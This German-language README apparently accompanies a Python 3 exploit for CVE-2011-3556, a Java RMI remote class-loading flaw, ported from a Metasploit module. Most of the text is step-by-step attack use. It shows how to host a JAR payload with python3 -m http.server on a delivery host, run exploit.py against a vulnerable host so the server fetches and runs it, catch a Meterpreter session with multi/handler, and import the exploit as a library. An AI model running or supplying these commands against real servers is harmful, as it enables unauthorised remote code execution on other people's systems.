sk4la/cve_2011_3556Python 3-Implementierung eines bestehenden Proof-of-Concept (PoC) für CVE-2011-3556.
Dieses Tool ist eine Python-3-Implementierung eines bestehenden Proof of Concept (PoC), der von mihi für das Metasploit Framework erstellt wurde.
Um das Modul zu verwenden, befolgen Sie einfach die nachstehenden Anweisungen:
# Clone this repository locally.
$ git clone https://github.com/sk4la/cve_2011_3556.git && cd cve_2011_3556/
# Optionally set the `x` bit to be able to execute the script directly.
$ chmod u+x exploit.py
$ ./exploit.py --help && echo "It works!"
Damit die Nutzlast (ein JAR-Binär) von dem anfälligen Java-RMI-Server remote geladen werden kann, muss sie als HTTP-Ressource bereitgestellt werden. Man kann sie schnell mit dem bekannten python3 -m http.server bereitstellen.
Sobald die Nutzlast zum Download bereitgestellt ist, führen Sie einfach das Skript exploit.py aus, um die Sicherheitslücke auszulösen.
$ python3 -m http.server --bind DELIVERY_HOST DELIVERY_PORT &
$ ./exploit.py -h VULNERABLE_HOST -u http://DELIVERY_HOST:DELIVERY_PORT/PAYLOAD.jar`
Falls die Nutzlast ein Meterpreter (Metasploit Framework) ist, vergessen Sie nicht,
use exploit/multi/handlerzu verwenden.
Dieses Modul kann auch als Bibliothek verwendet werden, indem das Modul cve_2011_3556 in Ihren aktuellen Namespace importiert wird:
from cve_2011_3556 import JavaRMIExploit
JavaRMIExploit("127.0.0.1", "http://127.0.0.1/payload.jar").exploit()
So einfach ist das!
Besonderer Dank geht an mihi für die ursprüngliche Implementierung des Metasploit-Framework-Moduls.